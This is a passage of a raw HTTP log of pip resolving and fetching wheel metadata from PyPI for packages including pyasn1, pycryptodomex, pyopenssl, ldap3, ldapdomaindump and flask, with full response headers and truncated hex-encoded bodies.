camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B2266696C6573223A5B7B22636F72652D6D65746164617461223A66616C73652C22646174612D646973742D696E666F2D6D65746164617461223A66616C7365....... "GET /packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 3246 x-amz-id-2: t5aGl7+zG7JWepkkthTbfGJsby2lnden0YrG4i+bdmCBQWaxo4QKjNntA2gxPOPlBv7Xa5F7/Vs= x-amz-request-id: 7N7FXVV3G0JKNCAV Last-Modified: Tue 07 Apr 2026 15:17:48 GMT ETag: "83928a37f8f5729d6bde3a88aca21945" x-amz-server-side-encryption: AES256 x-amz-version-id: rA0QcZyh5rOky2jW8T6CKg43lpFxaUGb Content-Type: binary/octet-stream Server: AmazonS3 Fastly-Restarts: 1 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:37 GMT Age: 1469566 X-Served-By: cache-iad-kcgs7200110-IAD cache-lax-kwhp1940030-LAX X-Cache: HIT HIT X-Cache-Hits: 994 18 X-Timer: S1794606818.709685 VS0 VE0 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: py3 x-pypi-file-version: 3.0.3 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: invoke with response body ==>4D657461646174612D56657273696F6E3A20322E340A4E616D653A20696E766F6B650A56657273696F6E3A20332E302E330A53756D6D6172793A20507974686F....... "GET /simple/pyasn1/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01 Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 38283 access-control-allow-origin: * server: gunicorn cache-control: max-age=600 public referrer-policy: origin-when-cross-origin access-control-expose-headers: X-PyPI-Last-Serial access-control-max-age: 86400 etag: "Lj5ZtyeMpxmHmc0Ln4aGcA" access-control-allow-methods: GET x-pypi-last-serial: 42802405 content-security-policy: default-src 'none'; sandbox allow-top-navigation content-encoding: gzip access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:37 GMT X-Served-By: cache-iad-kiad7000187-IAD cache-iad-kiad7000187-IAD cache-lax-kwhp1940024-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 4 6 X-Timer: S1794606818.815870 VS0 VE0 Content-Type: application/vnd.pypi.simple.v1+json Vary: Accept Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B2266696C6573223A5B7B22636F72652D6D65746164617461223A66616C73652C22646174612D646973742D696E666F2D6D65746164617461223A66616C7365....... "GET /packages/19/1f/3eefd5c84c35cae44549ce1c7f7e58f7945b34f5a6bce07a135438522073/pyasn1-0.6.5-py3-none-any.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 8411 x-amz-request-id: CDVYYA2YYE9N295F x-amz-id-2: LNbpc4bT71eI8XM8GkfbeU8x82ZZL26CoRTyFcmMcS8IFxMmenLp5uvwKb84OEmg9sgh93Kx4D513Y41r1MY9+1GDPGS22Av Server: AmazonS3 Last-Modified: Tue 27 Oct 2026 06:32:49 GMT ETag: "569267fca4674d034462d0cb11c8af67" x-amz-version-id: p5iHzlsRyL2e1ihB11WzH2IAHXC_QvwX Content-Type: binary/octet-stream x-amz-server-side-encryption: AES256 Fastly-Restarts: 1 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:37 GMT Age: 1361237 X-Served-By: cache-iad-kiad7000069-IAD cache-lax-kwhp1940030-LAX X-Cache: HIT HIT X-Cache-Hits: 67 1768 X-Timer: S1794606818.932358 VS0 VE0 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: py3 x-pypi-file-version: 0.6.5 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: pyasn1 with response body ==>4D657461646174612D56657273696F6E3A20322E340A4E616D653A20707961736E310A56657273696F6E3A20302E362E350A53756D6D6172793A20507572652D....... "GET /simple/pyasn1-modules/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01 Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 29014 access-control-allow-methods: GET x-pypi-last-serial: 28216751 content-encoding: gzip access-control-expose-headers: X-PyPI-Last-Serial access-control-allow-origin: * etag: "B8PVD2QsEzdW9lRYGtfmUQ" cache-control: max-age=600 public content-security-policy: default-src 'none'; sandbox allow-top-navigation access-control-max-age: 86400 referrer-policy: origin-when-cross-origin access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since server: gunicorn Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:38 GMT X-Served-By: cache-iad-kcgs7200163-IAD cache-iad-kcgs7200163-IAD cache-iad-kcgs7200145-IAD cache-lax-kwhp1940024-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 9341 1 X-Timer: S1794606818.038649 VS0 VE2 Content-Type: application/vnd.pypi.simple.v1+json Vary: Accept-Encoding Accept Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B2266696C6573223A5B7B22636F72652D6D65746164617461223A66616C73652C22646174612D646973742D696E666F2D6D65746164617461223A66616C7365....... "GET /packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 3484 x-amz-id-2: c3EMn5Zly3rRUq7vOZQmVLhMTgTbfBT1QnxHreVP1Y1p62F1IbKakxDumjsyErx6OczSLqzMSqs= x-amz-request-id: 651M5DN2RYHMB9GP Last-Modified: Fri 28 Mar 2025 02:41:21 GMT ETag: "e527abb872a4db7b76c5981243dd8d86" x-amz-server-side-encryption: AES256 x-amz-version-id: Cnavw139q6q02u_RQU_gaFo.zPI9gIvo Content-Type: binary/octet-stream Server: AmazonS3 Fastly-Restarts: 1 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:38 GMT Age: 1409087 X-Served-By: cache-iad-kiad7000037-IAD cache-lax-kwhp1940030-LAX X-Cache: HIT HIT X-Cache-Hits: 967 1668 X-Timer: S1794606818.102834 VS0 VE0 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: py3 x-pypi-file-version: 0.4.2 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: pyasn1-modules with response body ==>4D657461646174612D56657273696F6E3A20322E340A4E616D653A20707961736E315F6D6F64756C65730A56657273696F6E3A20302E342E320A53756D6D6172....... "GET /simple/pycryptodomex/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01 Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 170170 referrer-policy: origin-when-cross-origin content-security-policy: default-src 'none'; sandbox allow-top-navigation access-control-expose-headers: X-PyPI-Last-Serial access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since etag: "kjvxuTvAe02jYOnRYBooLw" x-pypi-last-serial: 43258523 content-encoding: gzip access-control-allow-origin: * cache-control: max-age=600 public access-control-allow-methods: GET access-control-max-age: 86400 server: gunicorn Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:38 GMT X-Served-By: cache-iad-kcgs7200124-IAD cache-iad-kcgs7200124-IAD cache-lax-kwhp1940024-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 112211 1 X-Timer: S1794606818.229817 VS0 VE2 Content-Type: application/vnd.pypi.simple.v1+json Vary: Accept-Encoding Accept Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B2266696C6573223A5B7B22636F72652D6D65746164617461223A7B22736861323536223A226534653039633464313134316365326136383930353731353938....... "GET /packages/21/f9/4363334c762c2463d9d403894e83922959d9392e7cfa15bb1335e790851d/pycryptodomex-3.24.2-cp37-abi3-win_amd64.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 3483 x-amz-request-id: D7358CD3G56HPS0P x-amz-id-2: PdRBUocYaZG9PI6S8FzILFcfA7DCgsrck2Ct7f2D7keB1fLXWYremqICN9E0Qxk/cjo4Ul2yj2E= Server: AmazonS3 Last-Modified: Thu 05 Nov 2026 19:04:35 GMT ETag: "195310453ac677e396925dc29d9529b1" x-amz-version-id: nC749jPYqS3DwtOXS90JNctDHiwQxpxB Content-Type: binary/octet-stream x-amz-server-side-encryption: AES256 Fastly-Restarts: 1 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Age: 701343 Date: Fri 13 Nov 2026 21:53:38 GMT X-Served-By: cache-iad-kcgs7270021-IAD cache-lax-kwhp1940030-LAX X-Cache: HIT HIT X-Cache-Hits: 1898 0 X-Timer: S1794606818.471960 VS0 VE8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: cp37 x-pypi-file-version: 3.24.2 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: pycryptodomex with response body ==>4D657461646174612D56657273696F6E3A20322E310D0A4E616D653A20707963727970746F646F6D65780D0A56657273696F6E3A20332E32342E320D0A53756D....... "GET /simple/pyopenssl/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01 Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 15627 cache-control: max-age=600 public etag: "E3RmrCPATVh8jkZg/cFVQw" server: gunicorn x-pypi-last-serial: 39598385 access-control-allow-methods: GET content-encoding: gzip access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since referrer-policy: origin-when-cross-origin access-control-max-age: 86400 content-security-policy: default-src 'none'; sandbox allow-top-navigation access-control-allow-origin: * access-control-expose-headers: X-PyPI-Last-Serial Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:38 GMT X-Served-By: cache-iad-kcgs7200020-IAD cache-iad-kcgs7200020-IAD cache-iad-kcgs7200080-IAD cache-lax-kwhp1940024-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 175 2 X-Timer: S1794606819.655542 VS0 VE0 Content-Type: application/vnd.pypi.simple.v1+json Vary: Accept-Encoding Accept Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B2266696C6573223A5B7B22636F72652D6D65746164617461223A66616C73652C22646174612D646973742D696E666F2D6D65746164617461223A66616C7365....... "GET /packages/51/ad/2cf6d3fa2fae5c79e1ed9960c0d42badd0f94d81dd12b50604cdc839e648/pyopenssl-26.4.0-py3-none-any.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 22241 x-amz-id-2: A4VuzVwDPpCI6dJgPTyMjiuAgo/xE+ur+Mphz/xMPmCVpqcOP5+kvyVlKY40SSZZF+6RQd6T9Ek= x-amz-request-id: 0JV41ECGJ1D811FQ Last-Modified: Sat 01 Aug 2026 19:50:50 GMT ETag: "a7d1abe4505c4d1e43732b998d3bbf35" x-amz-server-side-encryption: AES256 x-amz-version-id: VjtfAW4jsPZ0Eu5ARteSCEDuhOYAfI7t Content-Type: binary/octet-stream Server: AmazonS3 Fastly-Restarts: 1 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:38 GMT Age: 1345178 X-Served-By: cache-iad-kjyo7100103-IAD cache-lax-kwhp1940030-LAX X-Cache: HIT HIT X-Cache-Hits: 54 78 X-Timer: S1794606819.712411 VS0 VE0 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: py3 x-pypi-file-version: 26.4.0 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: pyopenssl with response body ==>4D657461646174612D56657273696F6E3A20322E340A4E616D653A2070794F70656E53534C0A56657273696F6E3A2032362E342E300A53756D6D6172793A2050....... "GET /simple/ldap3/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01 Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 21509 etag: "iplGM2/BrpPVWITVFBdmfw" server: gunicorn access-control-allow-origin: * access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since referrer-policy: origin-when-cross-origin access-control-expose-headers: X-PyPI-Last-Serial access-control-max-age: 86400 cache-control: max-age=600 public content-security-policy: default-src 'none'; sandbox allow-top-navigation content-encoding: gzip access-control-allow-methods: GET x-pypi-last-serial: 36241746 Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:38 GMT X-Served-By: cache-iad-kcgs7200081-IAD cache-iad-kcgs7200081-IAD cache-iad-kcgs7270026-IAD cache-lax-kwhp1940024-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 4984 2 X-Timer: S1794606819.839229 VS0 VE0 Content-Type: application/vnd.pypi.simple.v1+json Vary: Accept-Encoding Accept Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B2266696C6573223A5B7B22636F72652D6D65746164617461223A66616C73652C22646174612D646973742D696E666F2D6D65746164617461223A66616C7365....... "GET /packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 5408 Server: nginx Content-Type: application/octet-stream Last-Modified: Sun 25 Feb 2024 11:01:26 GMT ETag: "b6de79bde8058a72960627105b782348" x-amz-request-id: 9fd09df0bd42db07 x-amz-id-2: aN/djkTE/NnNmaDEJMPFkTWZCY88woTgE x-amz-version-id: 4_z179c51e67f11a0ad8f6c0018_f1111910665fca35d_d20240225_m110126_c005_v0501004_t0057_u01708858886361 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:38 GMT Age: 1438713 X-Served-By: cache-iad-kcgs7200041-IAD cache-lax-kwhp1940030-LAX X-Cache: HIT HIT X-Cache-Hits: 262 1 X-Timer: S1794606819.895935 VS0 VE1 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: py2.py3 x-pypi-file-version: 2.9.1 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: ldap3 with response body ==>4D657461646174612D56657273696F6E3A20322E310A4E616D653A206C646170330A56657273696F6E3A20322E392E310A53756D6D6172793A20412073747269....... "GET /simple/ldapdomaindump/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01 Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 4655 access-control-allow-methods: GET x-pypi-last-serial: 28343981 content-encoding: gzip access-control-expose-headers: X-PyPI-Last-Serial access-control-allow-origin: * etag: "0aLVLHemN+/WQQUs8AMqJA" cache-control: max-age=600 public content-security-policy: default-src 'none'; sandbox allow-top-navigation access-control-max-age: 86400 referrer-policy: origin-when-cross-origin access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since server: gunicorn Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:38 GMT X-Served-By: cache-iad-kjyo7100167-IAD cache-iad-kjyo7100167-IAD cache-iad-kiad7000119-IAD cache-lax-kwhp1940024-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 89929 0 X-Timer: S1794606819.954921 VS0 VE1 Content-Type: application/vnd.pypi.simple.v1+json Vary: Accept-Encoding Accept Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B2266696C6573223A5B7B22636F72652D6D65746164617461223A7B22736861323536223A223535626431653931346131393364666132363835626638393634....... "GET /packages/8a/91/5a0015375d5bcc3667f92692e9a244803b9a0e4b651b29a5682e1647669a/ldapdomaindump-0.10.0-py3-none-any.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 512 Server: nginx Content-Type: application/octet-stream Last-Modified: Fri 04 Apr 2025 07:39:09 GMT ETag: "b5c63940eec20c94be5d65e530c81020" x-amz-request-id: 5caddf49b9f3a7e4 x-amz-id-2: aNxFjVTGqNo5mzjEoMMFkYGYqY7cwQzhm x-amz-version-id: 4_z179c51e67f11a0ad8f6c0018_f115f9fb7a0b73c8a_d20250404_m073909_c005_v0501031_t0001_u01743752349424 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Age: 964390 Date: Fri 13 Nov 2026 21:53:39 GMT X-Served-By: cache-iad-khef600075-IAD cache-lax-kwhp1940030-LAX X-Cache: HIT HIT X-Cache-Hits: 1830 0 X-Timer: S1794606819.013311 VS0 VE1 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: py3 x-pypi-file-version: 0.10.0 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: ldapdomaindump with response body ==>4D657461646174612D56657273696F6E3A20322E340A4E616D653A206C646170646F6D61696E64756D700A56657273696F6E3A20302E31302E300A53756D6D61....... "GET /simple/flask/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01 Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 14712 access-control-allow-methods: GET x-pypi-last-serial: 34432672 content-encoding: gzip access-control-expose-headers: X-PyPI-Last-Serial access-control-allow-origin: * etag: "qjLAvX3ucyoHYLlNophXQA" cache-control: max-age=600 public content-security-policy: default-src 'none'; sandbox allow-top-navigation access-control-max-age: 86400 referrer-policy: origin-when-cross-origin access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since server: gunicorn Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:39 GMT X-Served-By: cache-iad-kcgs7200035-IAD cache-iad-kcgs7200035-IAD cache-iad-kcgs7200128-IAD cache-lax-kwhp1940024-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 655 1 X-Timer: S1794606820.548091 VS0 VE2 Content-Type: application/vnd.pypi.simple.v1+json Vary: 